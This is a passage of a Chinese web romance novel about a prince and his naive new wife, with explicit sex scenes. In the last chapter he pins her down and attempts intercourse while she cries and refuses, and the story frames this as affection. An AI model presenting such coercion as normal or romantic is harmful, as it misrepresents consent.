封肆笑着搂紧她,在她耳旁轻声道:“我知道是我那天晚上弄疼你了,你才会如此抗拒,是我的错。” 她撅着嘴应:“噢。” “到了,下车吧。”封肆扶着她下车,自觉将她的裙摆整理好,跟在她身后。 柳家众人迎出来,跪地行礼:“拜见王爷,拜见王妃。” “快起来快起来。”柳娆弯身双手将他们扶起,大手一挥,“本王妃准了,以后你们见到本我不用行礼!” 柳家众人还在担心她过得不好,这话一出,所有人心头都松了口气,柳瑜和柳珣对视偷笑,老太太狠狠瞪他们一眼,又向封肆行礼。 “老身拜见王爷。” “如媚儿所说,都是一家人,不必拘礼。”封肆缓步越过他们。 柳娆骄傲地挺挺胸脯:“看,我就说吧,我的话还是有用的。” 老太太叹息一声,陈夫人则是上前牵着她悄声说话。 “如何?宁王对你好吗?王府上下可还对你尊敬?” “挺好的啊。”她不假思索说完,眉头又皱起来,附耳悄声与母亲道,“洞房好疼啊,有没有什么办法不洞啊?” 陈夫人赶忙左右看一眼,将她往旁边拉了拉,仔细询问:“宁王对你很粗鲁吗?” 她认真想了想:“也没有吧?” 陈夫人松了口气:“那就是正常的,女子第一回都会疼的,纤云不是跟你讲过吗?” 她气道:“可是她没跟我说那么疼啊。” 走在前面的几个人回过头来,柳瑜开口:“怎么了?这又是在闹什么呢?” 她脸一扭,没回答。 “没什么,你们先行便是,我们说几句话就来。”陈夫人拍拍她的手,小声又安慰,“现在还疼吗?”” 她苦着脸:“现在不疼了。” “那就还好,我还以为是宁王伤了你,既没有受伤便是正常的,你们多同几回房就好了。你也跟他说,让他多怜惜着些,别太急色。” “噢。”她愁眉苦脸,“就不能不同吗?” “那如何能行?你难不成要将他推给旁的女人吗?” 她没太听明白,被母亲牵着往前走,思索半晌,还是没明白。 所有人都已在堂中落座,有一句没一句的闲聊着,说的都是些读书考学的事,她没兴趣听,趁人不注意溜出门。 “媚儿!”柳珣跟来,“你怎么了?我看你方才一直不高兴的样子。” 她捻着树叶:“我不想同房。” “啊?” “三哥。”她耷拉着眼睛看去,“你有没有什么办法能让我不用跟封肆同房啊?” 柳珣脸咻一下红起来:“这、这……我还没成亲呢,我也不清楚,不过这也是人之常情吧?” “那谁知道?二哥?可是他肯定不会帮我想办法的,要不你帮我去问问二嫂吧。” “啊?我问二嫂?媚儿,这种男女大防的事,我怎么能问二嫂呢?” 她撇撇嘴:“那怎么办嘛?我不想同房,好疼的。” 柳珣赶忙抓住她的肩,左右看看,心疼坏了:“媚儿,你受伤了?” 她眨眨眼:“没有啊。” “你等着。”柳珣转头疾步而去,没多久带着柳瑜疾步而归。 “不至于,以她的性子,真要是伤了,不得大哭特哭?你不信就试试。”柳瑜闲庭信步,“我听三哥说你不想和宁王同房。” 柳娆狐疑看他两眼,点头:“对。” 柳瑜不紧不慢:“你和他和离就不用跟他同房了。” 柳娆眼一下瞪圆,连连摇头:“那不行,那不行的,他对我还是很好的,我也挺喜欢他,我只是不想同房,不是不想和他过了呀。” 柳瑜朝柳珣耸耸肩:“你自己看。” “媚儿。”柳珣叹息一声,“你和他成亲,就必须跟他同房的,他也是喜欢你才会如此。” “可是疼啊,真的很疼。” 柳珣也没法了,看向柳瑜:“我还没成亲,对此事实在不甚了解,你要不问二哥吧。” “问我什么?”柳瑜将他拽到一旁,低声道,“这显然就是他床上功夫太差了,我还能去教他不成?” “那怎么办?总不能看着小妹受罪吧?” “夫妻之间的事,亲爹亲娘来了都不好开口,我们做哥哥的如何说?此事只能他们自己商量。” 柳娆的脑袋突然伸过去:“你们再说什么?” 柳瑜惊得一颤,清了清嗓子:“这是夫妻之间的私事,还得要你自己解决。你要是疼就跟他直说,让他多注意些,我想他也不是故意的,你和他好好说,他不会故意欺负你。” “这是注不注意的问题吗?那那么大一个东西塞进那么小一个地方去,再注意都会疼的啊!” “呃……嗯……”两个哥哥语塞。 “二嫂难道不会疼吗?” 柳瑜一个健步上前,捂住她的嘴,朝柳珣道:“三弟,你先去忙吧,我和小妹有话要说。” 第29章 第 29 章 真是个奇怪的比喻 柳珣也不好意思再待下去, 红着脸,几乎是逃走。 柳瑜看着远去的背影,长舒一口气, 松开手, 低声警告:“这种事大庭广众之下不能说的, 知道吗?” 柳娆瞥他一眼,没好气道:“噢。” “至于疼, 第一回多多少少会疼的, 慢慢就好了。” “慢慢就好了?”柳娆惊诧, “你听听你说的是什么话?你简直就是个混蛋!” “我跟你说不清楚,娘没给你避火图吗?你拿着让宁王好好学学去,总归这事儿不是你想得那么痛不欲生。”柳瑜拍拍她的肩,“好好体会吧。” 她抿了抿唇, 将信将疑:“你骗我。” “我骗你做什么?你不信便问大哥去, 大哥一向不会说假话, 他说的总不能有假。” “噢, 就不能不同吗?”她小声道,“难道你和二嫂也要天天都那样吗?” “你出去问问,天底下哪对恩爱的夫妻会一直不同房吗?” “你方才才说不能在大庭广众之下说的。” 柳瑜瞅她一眼:“你不和他同房,就两个选择,要么和他和离,要么让他和别的女人睡去。” 她撅了撅嘴:“那就让他跟别人睡去嘛。” “你可要想好了,既然他都有别人了,还要你做什么?他不会再有空来陪你, 不会再给你锦衣玉食的优渥日子,不会你要想什么他就再给你什么,明白了吗?” “那不行, 不行。”她低声喃喃。 柳瑜笑着揉揉她的脑袋:“你还是真是个小机灵鬼,只想享受,不想付出。” 她瞪他一眼:“我一会就自己去问二嫂,要是让我知道你是骗我的,我肯定饶你不了你!” “你饶不了我?你蹦起来都打不到我。” “那我就让我夫君来揍你!略略略。”她朝人吐吐舌头,转头就跑,径直跑到厅外,探头探脑。 二嫂转身瞧见她,笑着走来:“媚儿?你在这里做什么?今日宁王来,母亲特意叮嘱让我守好这里,你可别来捣乱。” “我没有捣乱,二嫂,我只是想问你一个问题。” “什么问题?” “二哥跟我说,你们天天都洞房,是真的吗?” 二嫂脸瞬间通红,拉着她往角落里走:“你二哥好端端地跟你说这个做什么?” “我问他的呀。” 二嫂有些无奈:“你问他这个做什么?” 柳娆深吸一口气,将方才的事快速说一遍:“总归就是这样,二嫂,二哥有没有骗我?” 二嫂面颊上的红晕消散一些,拉着她低声道:“也不是日日都……不过你二哥没唬你,夫妻之间的确是要同房的,不过也没有你想的那样可怕,都是你情我愿的。” “那二嫂你也喜欢同房?” “媚儿,你别总问些让人难以启齿的问题。” “噢……”柳娆顿了顿,“那是喜欢还是不喜欢呢?” 二嫂无奈低笑,轻轻点头:“嗯。” 柳娆仔细端详她两眼,确认她没有说谎,转身要跑:“我知道了,二嫂,我先走了。” 二嫂赶忙拽住她:“媚儿,不要在外面乱说。” “我知道了。”她连连点头,打算再找人去问问,就算是二哥二嫂他们全都没说谎,可是她自己也没说谎啊,她就不信了,这世上难道没有跟她感同身受的人了? 封肆找到她时,她正跟门房的婆子聊得火热,一个小的不懂事不害臊,另一个老的经历多了不害臊,说的全都是些不能听的内容。 封肆深吸一口气:“柳娆,你给我过来。” 柳娆眼一圆,扭头看去:“诶?你怎么来了?你不是在跟我爹他们下棋吗?” 封肆大步上前,拎着她的领子将她提起,咬牙切齿道:“我再不来,连我屁股上有几颗痣都要被你全说出去了。” “诶?你屁股上还有痣吗?我都没发觉诶。”柳娆扭着脖子看。 封肆额头突突地跳,将她按住,许久才平息怒火,低声训斥:“你不知道这些话不能随意说的吗?你到底知不知道害臊的?” “可是没有人告诉我,我什么也不明白,只能跟人打听,这怎么能怪我呢?要怪也只能怪你们没跟我说清楚。”她越说越觉得有道理,吼一声,“对!都怪你们!” 封肆被喷一脸温热的气息,反而笑了:“你说的也有道理,怪我没跟你说清楚。” 她后退两步站稳,疑惑看他。 “用午膳了,到处都找不到你,我才找来的。”封肆将她往怀里一揽,“走吧。” “你不是凶我的吗?” “没凶你,你是我的宝贝,我怎么舍得凶你呢?况且你说的也对,是怪我没跟你说清楚,等回去我仔细跟你说,如何?这事你原本也该来问我才对。” “噢,看在你认错态度不错的份上,我原谅你了。” 封肆笑着刮刮她的鼻尖:“那我多谢你。” 她抱住他的腰,仰头看着他,突然又问:“你屁股上真的长痣了吗?” 封肆眼前一黑:“没有,只是个比喻,别在外面说这个,吃饭去。” 柳娆撇撇嘴,小声嘀咕:“真是个奇怪的比喻。” 封肆权当听不见,反正秀才遇上兵,有理说不清。 傍晚时分,柳家上下一齐将他们送出门,老太太上前给柳娆整理整理衣衫:“路上慢些,多当心。” “祖母,没多远的,就在前面,不到半炷香的功夫就到了。” 老太太笑着摸摸她的头:“祖母知晓,去吧。” 她一一跟人打完招呼,弯着眼眸挥手:“那我先走啦,你们要是想我了可以来找我,或者我回来也行,也没多远。” 陈夫人催促几句:“知道了,快上车吧。” “我真走啦。”她身子钻进马车,长长的衣摆还拖在地上,毫不客气吩咐,“夫君,你快将我的裙摆整理好。” 封肆有点没面子,但听着那娇滴滴的声音也生不起气来,默默将那裙摆整理好一起塞进车中,立即跨上马车,人却还在探出车窗跟人打招呼。 “爹娘,哥哥,我走了,你们回去吧。” “快坐好,这样危险。”陈夫人忍不住提醒两句。 “那我走啦。”她笑眯眯退回车中,将窗子关好,感慨一声,“今天真高兴啊。” 封肆轻轻将她头上扭缠在一起的流苏分开,含笑道:“高兴就好。” 她脑袋一转,明亮的眼眸看去:“我们明天是不是就能去看小鹿啦?” “当然。”封肆捧着她的脸,低声道,“以后不许将我们之间的私事跟外人说。” 她思索一瞬,反驳:“我哥哥他们又不是外人。” 封肆只知道她跟柳府的佣人们说了,这会儿才明白为何柳家的那两个小子为何总是偷偷看自己。他险些一口气没吸上来,可看着那样干净无辜的眼眸,又说不出什么重话。 “夫妻之间的事,除了夫妻之间,旁人都是外人,你看你哥哥们会将他们的夫妻生活跟你说吗?” 柳娆眨眨眼,眼眸一弯:“我知道啦,你吃醋了,是不是?” 封肆无奈扬唇:“好吧,我吃醋了。” 柳娆捉住他的脸,笑着在他嘴巴上亲两口:“那我就不说了。” 他的心快化成一滩蜜水了,捧着她的脸,不停在她的唇上啄吻,亲着亲着就忍不住将她在车厢的一角深吻。 怀里的人呼吸不过来,檀口微张,含着一汪春水的眼眸怔怔看着他,他连在这里亲她都再舍不得,将人紧紧搂在怀里,打横抱起径直大步回到卧房,才解她腰间的系带。 “你干什么?”柳娆一惊,慌忙按住腰间的手,“不行!” 封肆在她脸上啄吻:“不同房。” 她将信将疑看他一眼,抱住他的脖颈啄回去,哼哼着撒娇:“不同房,好疼的。” 封肆抚抚她的背:“好,我不都答应你了吗?莫怕。” “噢。”她黏在他的肩上,光滑的手臂缠着他的脖颈,指尖偷偷戳戳他的胸膛,笑着看他,“看着硬硬的,摸着软软的。” 封肆扬唇:“你的压箱底呢?拿出来看看。” “对对对,我二哥还说让你好好学学呢。”柳娆爬去床边,弯着腰拖出床底的箱子。 “以后别乱说。”封肆嘴角微抽,目光忍不住落在她凹陷的腰肢上。 “找到啦!”她猛地起身,双手举起册子,浑身的软肉乱颤。 封肆喉头微动,嗓音微哑:“打开看看,看看和书里的是不是一样的。” “噢噢。”她胡乱点头,举着册子,一会看看册子,一会看看他,认真思索,“嗯,差不多,不过你肚子这里分成一块一块的了。” 封肆好笑:“这是肌肉。” 柳娆好奇戳戳:“怎么会这样呢?我肚子上都没有。” “多锻炼就会有。”封肆抽出她手中的册子,放去一旁,将她往跟前一扣,“你不锻炼,当然没有。” 她茫然坐下,很快发现不对,皱着眉头挣扎:“你说不同房的!” 封肆按住她的背,哑声道:“不进去,你不是看过那册子了吗?可以先不进去。” “我没看到!”她大喊。 封肆被她蹭得难受,闷哼一声,胡乱将册子往她手中一塞:“你好好看看。” 她一头雾水,趴在他的肩头,双手在他背后翻看,果真找到了那一页,瞪大眼睛仔细研究,忍着痒痒,任由人乱蹭。 “啊!”她眉头一拧,嘤咛一声,软倒在他怀里,慌得赶紧双手捂住嘴—— 作者有话说:预收古言《权臣的外室》 温柔儒雅焖烧老男人×清纯坚韧乡下姑娘 那是许芋第一回见到聂徽明,在满天的大雪中,他举伞而来,朝她伸出手。 只是一眼,她便察觉出,这个从京城来的老男人对她有兴趣。 她更清楚,若不是巧合,这样位高权重的男人根本不会与她产生任何交际,就算是有这回巧合,这个男人也不会娶她这个低贱的乡下丫头。 聂徽明离开沧州的那日,她稀里哗啦地哭过后,立即变卖他给的一切,连夜和一家老小离开。 这些钱足够她全家过一辈子的,所有的一切都可以重新开始- 离开沧州的第一天,聂徽明想念他的小芋头, 离开沧州的第二天,聂徽明想念他的小芋头, …… 离开沧州的第不知道多少天,聂徽明还是想念他的小芋头。 他的小芋头,单纯、可爱、善良、柔弱、纯白无暇、不谙世事,离开了他,她该怎么活啊。 他忙完京中事务,立即返回沧州。 嗯?他的小芋头呢? 1v1sche 年龄差15 第30章 第 30 章 还想要那样 封肆笑着蹭蹭她的脑袋:“舒服?” 她死死捂着嘴, 连连摇头。 “你平时不是最不害羞的吗?怎么现在又臊了?”封肆将她往上搂了搂,扣着她的尾骨轻蹭,沙哑的声音贴在她耳旁响起, “别忍着, 只有我们两个人, 不会被旁人听见。” 她头摇得跟拨浪鼓似的。 封肆将她搂紧,哑声低笑:“舒服对吗?要是不舒服, 你早就哭闹了, 哪里会这样乖乖让我抱着?” 她扭动几下, 实在憋不住,躲在他怀里小口喘气。 “难受吗?”跟前的人低声问。 她回答不上来,她也形容不出来当下的感受,似乎挺难受, 又好像有些舒服。她不知该如何应对, 指尖紧紧扣住他的腰腹, 一遍遍喊:“小四、小四……” 封肆用脸轻蹭她的发顶:“乖媚儿, 唤我做什么?” 她哼哼着,柔软的指尖扣在他的腰腹上,小声重复:“小四……” “舒服是不是?乖媚儿,舒不舒服?我没唬你是不是?没你想的那样可怕。” “小四……”她脑子混混沌沌的,无意识往他怀里送,不慎蹭重了,惹得自己又是惊叫又是颤栗,眼角都不觉渗出些泪水来。 封肆笑着抚抚她的背:“慢慢的。” 她仰头看他, 在他温和的目光下,小心翼翼撑着他的胸膛,轻轻动动。 “对, 就是这样。”封肆在她额头上吻了吻,拆下她发间的银簪,将她按在脸旁,“是不是很舒服?” 她抱着他的脖颈小声哼哼:“小四。” 封肆完全无法抵抗她的娇哼,倏地将她抱紧,恨不得趁机,可想到她哭哭啼啼喊疼的模样,又实在舍不得,只是将她抱紧一些,再抱紧一些。 她软倒在他怀里,好半晌,呼吸渐稳,轻笑低笑。 “笑什么?”封肆笑着摸摸她的脸。 她抬起红扑扑的脸,笑意盈盈看着他,突然在他嘴上亲一口。 封肆被亲得有点疼,还有点懵,看着她眼中的笑意,不觉也扬起唇:“舒服吗?” 她羞涩点头:“嗯!” 封肆在她脸颊上亲亲:“我们去沐浴?” “好!”她咬着唇靠在他肩上,小腿轻轻晃荡,嘴里哼哼着欢快的调子,亮晶晶的眼眸在落日余晖下闪闪发光。 封肆心中也不觉明快起来:“晚上想吃什么?” “都行。”她被放进水里,手还搂着他的脖子,悄声道,“小四,我们一起洗吧。” “你不是嫌这里太拥挤了吗?” 她晃晃他的脖子,小声哼哼:“我想和你一起洗嘛,难道你不想和我一起嘛?” 封肆忍不住扬唇:“想。” “快来快来!”她几乎是将人拽进水里,扑过去紧紧抱住他,溅起一圈水花,一滴挂在鼻尖上,笑眯眯的,“小四。” “嗯?”封肆刮刮她的鼻尖。 她害羞埋进他的脖颈里,含糊不清道:“还想那样。” 封肆垂首:“什么?” “我说!”她猛得抬头,又嘿嘿着小声哼哼,“我还想要那样。” “哦,这样啊。”封肆故意不应。 柳娆才不跟他玩什么欲擒故纵的小把戏,一把抓住他。 他丝毫没有预料,闷哼一声,拧着眉头看去,对上那张红扑扑笑盈盈的小脸。 “蹭它,对吗?” “这么着急?”封肆揶揄。 柳娆眨眨眼:“你不着急吗?可是它都抬头了诶。” 封肆噎住:“好吧,我也着急。” “我就说嘛。”她扑过去,心满意足地抱着他蹭来蹭去,“小四,小四。” “舒服?” “嗯,酥酥的,麻麻的。”她彻底不羞了,枕在他肩上,对着他的脖颈不停喘气,“小四,我腰麻麻的,感觉快飞起来了。” 封肆被勾得眼眸发红,偏偏拿她一点办法都没有,这会儿要是将她弄疼了,又要哄上好几天。 她还一个劲儿地问:“你怎么不说话呀,你不舒服吗?” 封肆猛地将她往怀里一扣,低声在她耳旁道:“去里面好不好?” 她怔愣一瞬,连连摇头:“不行不行,那样好疼的,我们就现在这样吧,小四,现在这样很舒服。” “那不给你蹭了。” “不行!”她眉头一拧,扯扯他的耳朵,将他的手往自己的后腰上一放,连声催促,“你快点。” 封肆气得捏捏她的脸颊:“这样不行,那样不行,要求还挺多,坐直。” 她一怔,瞪圆了眼,还没来得及说话,又是嘤咛一声,仿佛打开了新世界的大门,喘着气道:“天啊,怎么这样也能这么舒服?太、太奇怪了……” 封肆笑着箍住她的腰,又是咬又是蹭,惹得人惊叫连连,颤粟不已,最后又软倒在他怀里,气喘吁吁。他笑着亲亲她的脸颊:“舒服了?” “嗯……”柳娆犹犹豫豫,欲言又止。 “怎么了?”封肆看去。 她抬头,在他耳旁羞涩道:“我刚刚太舒服了,没控制住自己,好像小解在浴桶里了。” 封肆笑着摸摸她的脑袋:“不是。” “那是什么?” “我也说不清楚。” “那你怎么就知道不是?” “我说不是就不是。”封肆刮刮她的鼻尖,将她抱起,朝外吩咐,“来人,换水。” 她皱着眉头,满脸不服气:“你好不讲道理。” “我怎么不讲道理?是大夫告诉我的,只是我不懂医术,说不清那些名词。”封肆信口胡诌。 “你好笨,下次你让大夫跟我说,我肯定能听得懂。” “好好,你最聪明。” 吱呀,浴房的门被推开,侍女要拎着水进门,柳娆紧忙推着跟前的人往屏风后退:“你要被人看光了!” 封肆扶住她:“好,知道了,别往后退了,再退屏风要被你推倒了。” 她拧着眉头,一脸认真训:“你怎么可以这么轻描淡写?你一点儿也不害臊,我生气了。” “好好,是我的错,我记着了,以后绝不敢了,快站好。” “这才对嘛。”她捉住他的脸,往下一按,在他额头上亲了亲,“真乖。” 封肆好笑看她:“人都出去了,现下我们能去屏风外了吧?” 她一把抱住他的腰:“抱我。” 封肆笑着将她抱浴桶里,轻轻在她背上搓洗:“我们明日去郊外的庄子?” 她有些心不在焉:“你说,第一个人是怎么知道咬那里能舒服的?” 封肆愣了一瞬,反应过来,无奈道:“我哪里知道?” “噢。”柳娆指尖下滑,点点他的胸膛,“你说,我咬你的话,你会很舒服吗?” 封肆还没理解这话中的意思,心口被人一口咬住。他眉头一拧,赶紧推:“别闹!” 柳娆死死抱住他的腰,像他那样舌尖作乱,咂咂两口,好奇问:“舒服吗?” 他扶额:“别闹,洗完就起来,还没吃晚饭,你不饿吗?” 柳娆满眼疑惑:“你没有感觉吗?” 封肆眼见人那颗脑袋要低下来,赶忙将她摁住,含糊过去:“没有,男人和女人不一样也正常,赶紧起来。” “噢。”她包裹着毯子,小声嘀咕,“那你长两个点点做什么?又不奶孩子,又不能舒服。” 封肆一噎,赶紧催促着她穿衣出门。 她扭着头不肯动:“你抱我,我腿软。” “说七说八的时候没见你不舒服。”封肆将她抱起。 她搡搡他:“你凶我。” “没凶你。”封肆在她脸颊上亲亲,“吃饭去。” “我要坐在你的腿上。” 封肆双手搂着她,在她耳朵上轻咬:“真是个磨人精。” 她咀嚼着饭菜,含糊不清道:“你不喜欢我了吗?我坐在你腿上,你应该高兴才对。” “好,我高兴,好好吃饭。” 她尝了口鱼羹,眼睛一亮,转头拿着勺子往他嘴里塞:“好吃,夫君,你也尝尝。” 封肆心都快被她暖化了,嘴角忍不住上扬:“我们明天去庄子上?你不是想看小鹿?明天就能看到。” “好呀好呀,我还没有见过活鹿呢。”她笑眯眯说完,又往他嘴里送一口菜,“这个也好吃。” 没一会儿,封肆嘴上全都是汁水,却还乐此不疲地让她喂来喂去。 “小四。”吃完饭,她又往他身上爬,“我们再来一次吧。” “什么?”封肆有些惊讶。 她抱着他的脖子又啃又咬,小声道:“再来一次呀。” 封肆捏起她的脸:“还要?” 她有点委屈:“不行嘛?” 封肆将她搂进怀里:“行,来吧。” 她高兴地扑过去,又对着他脖颈又啃又咬,从脖子亲到脸上,弄得他满脸都是口水,又去亲他的唇,花茶的清香味在口齿间漫延。 夜色已深,夏日,虫鸣声断断续续,她的声音也断断续续,滚烫的气息贴着他的脸。 封肆的掌心轻轻在她后颈上抚摸:“尽兴了?” 她打了个哈欠,懒懒闭眼:“嗯,好累,我要睡了。” “下来躺好睡。” “不要,我这要这么睡。” 封肆有些无奈:“媚儿,你这样压着我,我睡不了。” “可是我想抱着你睡。”她一滩烂泥似的,平铺在他身上,一动不动,很快,呼吸绵长。 封肆望着床顶,长长叹息一声,稍等片刻,轻轻转身,要将人放去身旁,怀里的人突然哼哼一声,吓得他赶紧躺回去,老老实实被压着。 夜半,怀里的人嫌热,蜷缩去墙边,他终于长松一口气,安心合眼。《 》 30-40 第31章 第 31 章 我一颗,你一颗 日光照进来, 柳娆睁眼,盯着床帐看片刻,迷迷糊糊的眼眸中慢慢充满光亮, 猛地坐起:“我们今日是不是要去看小鹿?” 封肆也刚睡醒, 被她突如其来的动作惊得一顿, 皱着眉道:“媚儿,不要一惊一乍的。” “我没有一惊一乍啊。”她爬起来, 双手撑在被褥上, 伸着脸看着他, 翘着的臀晃来晃去,若是有尾巴,现下已摇起来了。 封肆什么脾气都没了:“用完早膳就去。” “太好啦!”她扑过去,将人扑得往后一倒。 封肆又是无奈又是欢欣, 将她稳稳抱住:“不闹了, 去洗漱用膳吧。” 她立即跨下床, 蹿去衣柜前, 打开衣柜,拿着衣裳比划:“你觉得我今天穿哪一身好看?” 封肆看着那些花花绿绿的衣裳,每一件都很可爱,他实在分辨不出哪件更好看,随意一指:“这件。” “噢噢。”柳娆又拿出两件,继续比划,“那这两身呢?” 封肆直觉不妙,赶忙道:“你可以都带上, 我们多去玩几日。” “好啊,那这几件都拿上!今天就……” “今天就先穿这件粉绿色的。” 柳娆眉眼一弯:“好!那就穿这件!” 封肆继续道:“郊外的庄子离这里有些距离,我们起得晚, 不能在家里耽搁得太久,否则天黑之前要到不了了。” 柳娆捧着衣裳,点点头:“那我就不让人梳太复杂的发髻了。” 封肆长舒一口气,望着她那失落的眼神,又哄:“今日都是在路上,装扮的太过繁杂反而会累,明日你再打扮。” “好吧,那我就先听你的。”她笑着在他脸上亲一口,“你穿什么?” 封肆缩了缩脖子:“我不喜欢穿戴,你给自己打扮就行。” “可是我想你也漂漂亮亮嘛。” “你漂亮就好。” 柳娆抱着他的腰晃晃:“可是你这也不喜欢,那也不喜欢,只有我自己高兴,我也很想你高兴。” 他真不想也被弄得粉粉嫩嫩的,但心中还是欣慰的,轻轻拍拍她的背:“你高兴我就高兴。” “小四,你真好。”柳娆笑眯眯又亲他一口,“我们洗漱吧!” 他笑着揽着她往前走。 艳阳高照,城中行人络绎不绝,柳娆探着脑袋往外看了一会儿,受不了烈日,又缩回来。 封肆将窗帘放下:“热吗?” “还好,在车里就不热。”她瞧见他手上的扳指,将他的手抓来,戳着扳指转动,“还雕着花纹呢,我才发现,好漂亮。” “喜欢?”封肆摘下,套在她的拇指上。 她举起,对着日光转转,高兴地往他腿上一坐:“你天天送我礼物,可是我都没有什么送给你诶,你有没有什么喜欢的东西?我可以送给你。” 封肆搂住她的腰,在她耳旁轻声道:“我要你,我们晚上洞房。” “哇。”她吓得立即将扳指套回他手上,起身要走,“那我不要了。” 封肆将她扣住,忍不住低笑:“你怕什么,你昨天晚上要了那么多回,不都是好好的?” “你以为我还什么都不懂的吗?我知道你说的洞房是什么,那根本就不一样,你不觉得把那么一个大家伙塞到一个那么小的地方里很可耻吗?” “很可耻?”封肆笑出声。 “反正那样就是不对,我不要。”她别开脸,“我也不要和你坐在一起了。” “好了好了,你先坐回来,晚上的事晚上再说,我们现在不是还好着吗?” “那倒也是。”柳娆抱住他的肩,亲亲他的嘴巴,又亲亲他的眼睛,指尖从他的鼻梁上滑过,弯着眼笑,“小四,你真好。” 他忍不住在她面颊上啄吻:“乖媚儿,我爱你。” 柳娆眼眸怔愣一瞬,喜笑颜开:“小四,我也爱你!啵啵啵!” 封肆将她轻轻按在怀里:“喜欢扳指?我这个太大了,你戴不了,你喜欢什么样的?我让人去给你做。” “我想要一个和你一模一样的。” “好,想要什么就和我说,若是我不在,吩咐管事的就行。” “你不在?那你去哪儿?” “我得去当职,我总不能日日都在家中无所事事。” “噢,我想起来了,我爹爹大哥二哥也都是每天早出晚归的。”她叹息,“那可怎么办呢?你不在家,我一个人好孤独的,没人陪我,没人和我说话。” 封肆抚抚她的脑袋:“你可以去和京中的夫人贵女们聚会,你不是最爱出门玩了吗?” “聚会?”她眼睛一亮,“那好呀。” “等我们从这里玩完回去,我就带你去认识京中的人,你们熟悉熟悉,往后我若是忙起来,你可以去找人游玩聚会。” 她连连点头:“好呀好呀。” 封肆看着她,总忍不住弯唇:“你从前有没有什么闺中好友?也可以邀她们来王府玩。” “没有,我从小到大都没什么好朋友,不过我有三哥,我能让三哥来咱们家玩吗?反正他在家里也是读书,在我们家也能读书。” “他要是愿意来,让他来便是。” 她看着他:“你有没有什么好朋友呀?” “有,上回你见过的。” “噢,他呀,你们怎么认识的?” “你是刑部来审查的?”封肆刮刮她的鼻尖。 她眉头动动:“刑部是干什么的?” “就是关押审理犯人的地方,你不用知道这个。” “可是我没有审理你呀,我就是想知道你的事情而已,你不愿意说嘛?” “读书时认识的。” “你从前也念书的吗?我还以为皇子可以不读书直接做官呢。” “不识字如何做官?” 她若有所思:“那也是,那你现在在做什么官?” 封肆微顿,含糊道:“跟刑部的差不多,都是审理犯人。外面没什么吵闹声了,应该是出城了。” 柳娆往外看一眼,瞧瞧两旁的麦田,感慨一声,又继续问:“那你岂不是天天都要和坏人在一块儿?会不会受伤呀?” “不会,你不用操心我,你好好在家里待着就好。” “可是我是担心你嘛,你怎么一点儿也不领情?” 封肆赶紧哄:“没有不领情,那些事复杂扰人,说了你也不明白,你何必要操这个心呢?整日高高兴兴的,不好吗?” 柳娆抿了抿唇,耷拉着脑袋:“噢。” “乖媚儿,我就想你能快快乐乐的,外面的事有我在,你负责吃喝玩乐就好。你不是喜欢衣裳首饰?去琢磨这些就好,往后你每个月想要多少的零花?二十两?五十两?” “五十两?”柳娆眼睛瞬间亮了。 “不够?”封肆挑眉。 柳娆连连点头:“够了够了够了,够我买好多首饰和衣裳了。” “衣裳和首饰也可以单独让府中的人去采买,这些银子是你的零花,可以拿去买些别的。” “天啊,那我根本就花不完呐。” “花不完就攒着。” 她高兴的往后一倒,举着手指掰着算:“那我一个月五十两,一年就能攒六百两,几年之后我都可以在京城买个大宅子了,我的天啊,那我太有钱了。” “你想买宅子?看上哪处的宅子了?我给你买就是。” “小四!”她凑过去,掰着他的脑袋亲,“你真是太好啦!” 封肆稍稍往后躲:“脖子要被你扭断了,坐好,很快就到了。” “好!”柳娆笑眯眯给他揉揉脖子,安安静静坐在他的腿上,枕在他的肩上,随着马车轻晃,抵达郊外庄园。 天晴得正好,她跳下马车,一路小跑进庄园,这里瞧瞧那里看看。庄子里的风光与王府大不相同,四处都是水榭花草,一进门便是满满当当她的荷花池,她不肯走游廊,非要坐小舟往里摇。 “小四!你看!好多好多荷花!”她伸手将花枝够来,一把薅掉,放在鼻子下深深吸了一口,“真香啊。” 封肆看着她那夸张的模样,嘴角忍不住咧开:“这么香?” “当然啦。”她塞去他的鼻子底下,“我们今晚用这个洗澡吧,洗完肯定香香的。” 封肆心头微动:“我们直接去汤泉,如何?” “好哇!”她踢了鞋袜,小心翼翼伸出足尖,探入水中,惊叫一声,“好凉!” 封肆从身后环抱住她,低声在她耳旁问:“好玩吗?” “好玩!那里还有莲蓬,我要摘莲蓬!”她指挥着船夫靠近荷花深处,摘了一船的莲蓬,兴高采烈一个个剥开,往自己嘴里塞一颗,又往封肆嘴里塞一颗。 夏日,轻薄的衣衫挽起,封肆斜靠在船上,心不在焉地看着她衣衫下滑腻的肌肤。 “我一颗,你一颗……啊!”她的手腕突然被抓住,猝不及防倒进前方的怀抱中。 封肆喉头微动,在她耳旁哑声道:“消停会儿。” 她一头雾水:“我什么也没做呀?我一直都在剥莲子。” 封肆将她打横抱起,跨下小舟,径直抵达汤泉,将她往岸上的竹椅上一放,湿热的吻落在她的脖颈上,单手散开她粉绿色的夏衣。 第32章 第 32 章 属狗的 她呼吸一紧, 怔怔看他许久,紧紧抱住他的腰,仰着脖颈喘气:“好痒……” “何处痒?”封肆咬住她脖颈上的软肉轻吮。 眨眼之间, 她那粉绿色的衣裙飘进荷花池中, 与满池荷花碧叶融为一体, 还未绽放的花苞在池中轻轻摇曳,一朵又一朵在她白皙的肌肤上绽放。 盛夏的燥热将她包围, 热得她的脑中晕晕乎乎, 什么也想不起来, 直至刺痛感陡然袭来,她浑身一凛,蒙着水雾的眼眸立即清澈:“疼!” 封肆单手将她的手腕按在头顶,低声道:“不会疼太久。” 她瞪大双眼, 不可思议:“你骗人!什么叫不会疼太久?明明就很疼!” “昨晚我是不是让你为所欲为了?现下轮到你了, 听话, 不要乱动, 放松下来,不会太疼,你越挣扎越疼。” “我不要!你没说过!你松开我!”她手脚都被按住,像条鱼似的乱打挺。 封肆却将她抱得更紧,咬着牙道:“乖媚儿,别再勾引我了,我真要控制不住,恐怕真会弄伤你。” “谁勾引你了!”她放声哭嚎, “你这个坏人,你弄疼我了,你根本就不是真心喜欢我的, 我不要跟你好了!好疼啊,娘,我好疼啊!” 封肆的心被她喊得纠起,松开她的手,捧着她的脸胡乱啄吻:“宝贝,我不是故意弄疼你的,别哭了,很快就不疼了。” “你骗人!”她胡乱挣扎,张牙舞爪,指甲滑过他的脸,留下一条扎眼的伤痕。 封肆眉头一紧,又将那双手困在怀中,咬着牙往前挤,可人又哭又闹,原本的湿热变得干燥难行,连他自己都觉得疼,他实在没办法,只能撤退。 竹席上的人还在喃喃哭喊:“疼,好疼……” 封肆亲亲她的脸颊,将她搂进怀里:“媚儿,别哭了,你方才还在说我好,还说爱我的。” 